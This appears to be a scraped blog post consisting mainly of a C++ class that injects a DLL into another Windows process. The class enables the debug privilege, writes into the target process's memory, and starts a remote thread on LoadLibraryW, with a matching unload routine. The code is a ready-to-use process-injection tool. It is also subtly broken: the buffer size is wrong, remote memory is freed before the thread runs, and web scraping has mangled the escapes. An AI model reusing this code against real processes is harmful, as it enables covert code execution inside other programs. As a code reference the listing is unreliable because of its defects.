BOOL Uninject(const LPCWSTR wszProcessName, const LPCTSTR& lpwszRemoteDllFullPath);
~CInjectDLL(void);
private:
BOOL AdjustProcessTokenPrivilege();
BOOL GetProcessID(const wchar_t* wszProcessName, DWORD& dwProcID);
};
/************************************************************************/
/*
Yufan
CInjectDLL a class for DLL injection
to inject use Inject()
to uninject use Uninject()
*/
/************************************************************************/
#pragma once
#include "StdAfx.h"
#include "InjectDLL.h"
#include <Windows.h>
#include <string>
#include "tlhelp32.h"
CInjectDLL::CInjectDLL(void)
{
}
CInjectDLL::~CInjectDLL(void)
{
}
BOOL CInjectDLL::Inject(const DWORD dwRemoteProcessID, const LPCTSTR& lpwszRemoteDllFullPath)
{
std::wstring wstrRemoteDllFullPath = lpwszRemoteDllFullPath;
BOOL bRet;
if (!AdjustProcessTokenPrivilege())
{
OutputDebugString(_T("AdjustProcessTokenPrivilege failn"));
}
HANDLE hRemoteProgress = ::OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwRemoteProcessID);
if (hRemoteProgress == NULL)
{
OutputDebugString(_T("OpenProcess failn"));
return FALSE;
}
// Allocate remote memory
DWORD dwMemSize = sizeof(wchar_t)*wstrRemoteDllFullPath.length()+1;
wchar\_t* wszDllPath = reinterpret\_cast<wchar\_t*>(::VirtualAllocEx(hRemoteProgress, NULL, dwMemSize, MEM\_COMMIT, PAGE_READWRITE));
if (wszDllPath == NULL)
{
OutputDebugString(_T("VirtualAllocEx failn"));
::CloseHandle(hRemoteProgress);
return FALSE;
}
// Write remote Memory
bRet = ::WriteProcessMemory(hRemoteProgress, wszDllPath, wstrRemoteDllFullPath.c_str(), dwMemSize, NULL);
if (!bRet)
{
OutputDebugString(_T("WriteProcessMemory failn"));
::CloseHandle(hRemoteProgress);
return FALSE;
}
// Create remote thread
FARPROC pfnFunAddr = ::GetProcAddress(::GetModuleHandle(_T("Kernel32")),"LoadLibraryW");
if (pfnFunAddr == NULL)
{
OutputDebugString(_T("GetProcAddress failn"));
::CloseHandle(hRemoteProgress);
return FALSE;
}
HANDLE hCreateThread;
hCreateThread = ::CreateRemoteThread(hRemoteProgress, NULL, 0, (LPTHREAD\_START\_ROUTINE) pfnFunAddr, wszDllPath, 0, NULL);
if (hCreateThread == NULL)
{
OutputDebugString(_T("CreateRemoteThread failn"));
::CloseHandle(hRemoteProgress);
::CloseHandle(hCreateThread);
return FALSE;
}
// Wait for thread return
// DWORD hLibModule;
// WaitForSingleObject(hCreateThread, INFINITE);
// GetExitCodeThread(hCreateThread, &hLibModule);
::VirtualFreeEx(hRemoteProgress, reinterpret\_cast<LPVOID>(wszDllPath), dwMemSize, MEM\_COMMIT);
::CloseHandle(hCreateThread);
::CloseHandle(hRemoteProgress);
return TRUE;
}
BOOL CInjectDLL::Inject(const wchar_t* wszProcessName, const LPCTSTR& lpwszRemoteDllFullPath)
{
DWORD dwProcID;
GetProcessID(wszProcessName,dwProcID);
if (Inject(dwProcID, lpwszRemoteDllFullPath))
return TRUE;
else
return FALSE;
}
BOOL CInjectDLL::Uninject(const DWORD dwRemoteProcessID, const LPCTSTR& lpwszRemoteDllFullPath)
{
std::wstring wstrRemoteDllFullPath = lpwszRemoteDllFullPath;
// Find injected DLL handle
HANDLE hSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwRemoteProcessID);
MODULEENTRY32 Me32 = {0};
Me32.dwSize = sizeof(MODULEENTRY32);
BOOL bRet = ::Module32First(hSnap, &Me32);
while (bRet)
{
if (wcscmp(Me32.szExePath, wstrRemoteDllFullPath.c_str()) == 0)
{
break;
}
bRet = ::Module32Next(hSnap, &Me32);
}
::CloseHandle(hSnap);
HANDLE hRemoteProgress = ::OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwRemoteProcessID);
if (hRemoteProgress == NULL)
{
OutputDebugString(_T("OpenProcess failn"));
return FALSE;
}
// Create remote thread
FARPROC pfnFunAddr = ::GetProcAddress(::GetModuleHandle(_T("Kernel32")),"FreeLibrary");
if (pfnFunAddr == NULL)
{
OutputDebugString(_T("GetProcAddress failn"));
::CloseHandle(hRemoteProgress);
return FALSE;
}
HANDLE hCreateThread;
hCreateThread = ::CreateRemoteThread(hRemoteProgress, NULL, 0, (LPTHREAD\_START\_ROUTINE)pfnFunAddr, Me32.hModule, 0, NULL);
if (hCreateThread == NULL)
{
OutputDebugString(_T("CreateRemoteThread failn"));
::CloseHandle(hRemoteProgress);
::CloseHandle(hCreateThread);
return FALSE;
}
// Wait for thread return
//DWORD hLibModule;
//WaitForSingleObject(hCreateThread, INFINITE);
//GetExitCodeThread(hCreateThread, &hLibModule);
::CloseHandle(hCreateThread);
::CloseHandle(hRemoteProgress);
return TRUE;
}
BOOL CInjectDLL::Uninject(const wchar_t* wszProcessName, const LPCTSTR& lpwszRemoteDllFullPath)
{
DWORD dwProcID;
GetProcessID(wszProcessName,dwProcID);
if (Uninject(dwProcID, lpwszRemoteDllFullPath))
return TRUE;
else
return FALSE;
}
BOOL CInjectDLL::AdjustProcessTokenPrivilege()
{
LUID luidTmp;
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN\_ADJUST\_PRIVILEGES | TOKEN_QUERY, &hToken))
{
OutputDebugString(_T("AdjustProcessTokenPrivilege OpenProcessToken Failed ! n"));
return FALSE;
}
if(!LookupPrivilegeValue(NULL, SE\_DEBUG\_NAME, &luidTmp))
{
OutputDebugString(_T("AdjustProcessTokenPrivilege LookupPrivilegeValue Failed ! n"));
CloseHandle(hToken);
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges\[0\].Luid = luidTmp;
tkp.Privileges\[0\].Attributes = SE\_PRIVILEGE\_ENABLED;
if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
{
OutputDebugString(_T("AdjustProcessTokenPrivilege AdjustTokenPrivileges Failed ! n"));
CloseHandle(hToken);
return FALSE;
}
return TRUE;
}
BOOL CInjectDLL::GetProcessID(const wchar_t* wszProcessName, DWORD& dwProcID)
{
HANDLE hSnapShot = ::CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, dwProcID );
PROCESSENTRY32 pe = {sizeof(pe)};
BOOL bOk = ::Process32First( hSnapShot, &pe );
while( bOk )
{
//wprintf(TEXT("ProcessID : %d, Name : %sn"), pe.th32ProcessID, pe.szExeFile);
if (wcsstr(pe.szExeFile, wszProcessName)!=NULL)
{
dwProcID = pe.th32ProcessID;
return TRUE;
}
bOk = ::Process32Next( hSnapShot, &pe );
}
::CloseHandle(hSnapShot);
return FALSE;
}

Comment and share

  • page 1 of 1
Author's picture

Eadom

NO PWN NO FUN


@Alibaba


Hangzhou